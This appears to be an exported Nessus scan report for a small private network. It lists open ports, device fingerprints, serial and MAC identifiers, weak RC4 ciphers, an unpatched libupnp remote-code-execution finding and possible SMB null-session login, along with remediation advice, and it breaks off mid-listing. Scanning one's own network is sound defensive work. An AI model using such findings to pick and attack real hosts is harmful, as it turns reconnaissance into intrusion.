		110723						None		192.168.0.28		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.28		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10107						None		192.168.0.29		tcp		8060		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Roku UPnP/1.0 MiniUPnPd/1.4										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.29		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -4 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.29		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.29 : 
192.168.0.35
192.168.0.29

Hop Count: 1
										None								11/27/99		8/20/20

		11197		CVE-2003-0001		3.3		Low		192.168.0.29		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  39 7A 4F 00 00 00 00 00 00 00 00 00 00 00 00 00    9zO.............
  0x10:  00                                                 .               
  
Padding observed in another frame :

  0x00:  86 5E F0 00 00 00 00 00 00 00 00 00 00 00 00 00    .^..............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		11219						None		192.168.0.29		tcp		8060		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8060/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.29		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.29		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Roku 3 4200X
Confidence level : 100
Method : UPnP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

HTTP:!:Server: Roku UPnP/1.0 MiniUPnPd/1.4


SinFP:!:
   P1:B10113:F0x12:W14600:O0204ffff:M1460:
   P2:B10113:F0x12:W14480:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=9080

 
The remote host is running Roku 3 4200X										None								12/9/03		3/9/20

		12053						None		192.168.0.29		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.29 resolves as 126.
										None								2/11/04		4/14/17

		19506						None		192.168.0.29		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 474 sec
										None								8/26/05		8/27/20

		19689						None		192.168.0.29		tcp		8060		Embedded Web Server Detection		The remote web server is embedded.		The remote web server cannot host user-supplied CGIs. CGI scanning
will be disabled on this server.		n/a														None								9/14/05		11/22/19

		22964						None		192.168.0.29		tcp		8060		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		25220						None		192.168.0.29		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.29		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.29:9080
    http://192.168.0.29:8060/
    http://192.168.0.29:8060/dial/dd.xml

And advertises these unique service names :

    uuid:RKU-42XXX-1WS45E002126::upnp:rootdevice
    uuid:RKU-42XXX-1WS45E002126::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:RKU-42XXX-1WS45E002126::urn:mdx-netflix-com:service:target:3
    uuid:019e3105-5400-1008-804e-dc3a5ef738bf::upnp:rootdevice
    uuid:019e3105-5400-1008-804e-dc3a5ef738bf::urn:dial-multiscreen-org:service:dial:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.29		tcp		8060		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.29:8060/ :

deviceType: urn:roku-com:device:player:1-0
friendlyName: Roku 3 - 1WS45E002126
manufacturer: Roku
manufacturerURL: http://www.roku.com/
modelName: Roku 3
modelDescription: Roku Streaming Player Network Media
modelName: Roku 3
modelNumber: 4200X
modelURL: http://www.roku.com/
serialNumber: 1WS45E002126
ServiceID: urn:roku-com:serviceId:ecp1-0
	serviceType: urn:roku-com:service:ecp:1
	controlURL: 
	eventSubURL: 
	SCPDURL: ecp_SCPD.xml
ServiceID: urn:dial-multiscreen-org:serviceId:dial1-0
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: 
	eventSubURL: 
	SCPDURL: dial_SCPD.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.29		tcp		8060		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.29:8060/dial/dd.xml :

deviceType: urn:roku-com:device:player:1-0
friendlyName: Roku 3 - 1WS45E002126
manufacturer: Roku
manufacturerURL: http://www.roku.com/
modelName: Roku 3
modelDescription: Roku Streaming Player Network Media
modelName: Roku 3
modelNumber: 4200X
modelURL: http://www.roku.com/
serialNumber: 1WS45E002126
ServiceID: urn:roku-com:serviceId:ecp1-0
	serviceType: urn:roku-com:service:ecp:1
	controlURL: 
	eventSubURL: 
	SCPDURL: ecp_SCPD.xml
ServiceID: urn:dial-multiscreen-org:serviceId:dial1-0
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: 
	eventSubURL: 
	SCPDURL: dial_SCPD.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.29		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

DC:3A:5E:F7:38:BF : Roku, Inc.
										None								2/19/09		5/13/20

		46180						None		192.168.0.29		tcp		0		Additional DNS Hostnames		Nessus has detected potential virtual hosts.		Hostnames different from the current hostname have been collected by
miscellaneous plugins. Nessus has generated a list of hostnames that
point to the remote host. Note that these are only the alternate
hostnames for vhosts discovered on a web server.

Different web servers may be hosted on name-based virtual hosts.		If you want to test them, re-scan using the special vhost syntax,
such as :

www.example.com[192.0.32.10]		https://en.wikipedia.org/wiki/Virtual_hosting		The following hostnames point to the remote host :
  - roku
										None								4/29/10		6/12/20

		54615						None		192.168.0.29		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 100
										None								5/23/11		5/23/11

		51192				6.4		Medium		192.168.0.35		tcp		8834		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : O=Nessus Users United/OU=Nessus Server/L=New York/C=US/ST=NY/CN=kali
|-Issuer  : O=Nessus Users United/OU=Nessus Certification Authority/L=New York/C=US/ST=NY/CN=Nessus Certification Authority
				6.5						Medium								12/15/10		4/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.1		tcp		4567		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.1		tcp		4567		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.1		tcp		8890		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.1		tcp		8890		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.20		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.20		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.26		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		66334						None		192.168.0.29		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		86420						None		192.168.0.29		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - DC:3A:5E:F7:38:BF
										None								10/16/15		5/13/20

		10150						None		192.168.0.31		udp		137		Windows NetBIOS / SMB Remote Host Information Disclosure		It was possible to obtain the network name of the remote host.		The remote host is listening on UDP port 137 or TCP port 445, and
replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins,
but does not itself generate a report.		n/a				The following 4 NetBIOS names have been gathered :

 WIN7             = File Server Service
 WIN7             = Computer name
 WORKGROUP        = Workgroup / Domain name
 WORKGROUP        = Browser Service Elections

The remote host has the following MAC address on its adapter :

   08:00:27:61:01:8c										None								10/12/99		8/20/20

		10287						None		192.168.0.31		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.31 : 
192.168.0.35
192.168.0.31

Hop Count: 1
										None								11/27/99		8/20/20

		10394						None		192.168.0.31		tcp		445		Microsoft Windows SMB Log In Possible		It was possible to log into the remote host.		The remote host is running a Microsoft Windows operating system or
Samba, a CIFS/SMB server for Unix. It was possible to log into it
using one of the following accounts :

- NULL session
- Guest account
- Supplied credentials		n/a		http://www.nessus.org/u?5c2589f6
https://support.microsoft.com/en-us/help/246261		ERROR:#NAME?										None								5/9/00		3/9/20

		10736						None		192.168.0.31		tcp		135		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available locally :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0444F0

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0444F0

Object UUID : 6d726574-7273-0076-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-4b9548fdaff259188f

Object UUID : 52ef130c-08fd-4388-86b3-6edf00000001
UUID : 12e65dd8-887f-41ef-91bf-8d816c42c2e7, version 1.0
Description : Unknown RPC service
Annotation : Secure Desktop LRPC interface
Type : Local RPC service
Named pipe : WMsgKRpc0475C1

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0475C1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 8174bb16-571b-4c38-8386-1102b449044a, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : a2d47257-12f7-4beb-8981-0ebfa935c407, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3f31c91e-2545-4b7b-9311-9529e8bffef6, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4b112204-0e19-11d3-b42b-0000f81feb9f, version 1.0
Description : SSDP service
Windows process : unknow
Type : Local RPC service
Named pipe : LRPC-d9731b548590390c3e

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LRPC-6a5e61415803aa8b5f

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
